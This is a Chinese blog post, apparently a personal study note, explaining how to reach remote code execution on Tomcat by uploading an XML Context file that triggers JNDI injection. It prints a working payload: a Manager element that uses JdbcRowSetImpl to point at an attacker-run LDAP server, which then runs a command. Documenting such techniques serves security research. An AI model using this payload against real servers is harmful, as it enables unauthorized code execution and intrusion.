tomcat下获取webshell的方法


Tomcat下通过XML配置实现JNDI注入的RCE利用思路

前言

最近在审计几个JavaCMS项目时,发现常规的JSP文件上传被严格限制,难以实现解析执行。通过搜索相关绕过思路,发现在Tomcat环境下可以通过JNDI注入间接实现RCE。

背景分析

传统通过上传web.xml修改配置实现RCE的方法,通常需要将文件上传到特定配置目录,但存在以下限制:

  • 上传路径不可控
  • 目录写入权限限制
  • 文件类型过滤

发现的新思路

参考以下资料的研究成果:

  1. Tomcat下的文件上传RCE姿势
  2. JSP新Webshell的探索之旅

技术原理

利用Digester解析XML的特性,构造特定的XML配置文件触发JNDI注入:

<Context>

<!-- Default set of monitored resources. If one of these changes, the    -->
<!-- web application will be reloaded.                                   -->
<WatchedResource>web.xml</WatchedResource>

<Manager className="com.sun.rowset.JdbcRowSetImpl"
         dataSourceName="ldap://127.0.0.1:1389/TomcatBypass/Command/calc"
         autoCommit="true"></Manager>

方法总结

优点

  • 绕过常规的JSP文件上传限制
  • 利用Tomcat的配置机制实现代码执行

限制条件

  • 需要能够上传XML文件到可被Tomcat解析的路径
  • 目标环境需存在相应的JNDI注入漏洞依赖
  • 需要出网或内网LDAP服务可控

学习记录

此方法为Tomcat环境下文件上传RCE提供了一种新的思路,特此记录供后续研究参考。

声明:智爱的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - tomcat下获取webshell的方法


手握日月摘星辰,世间无我这般人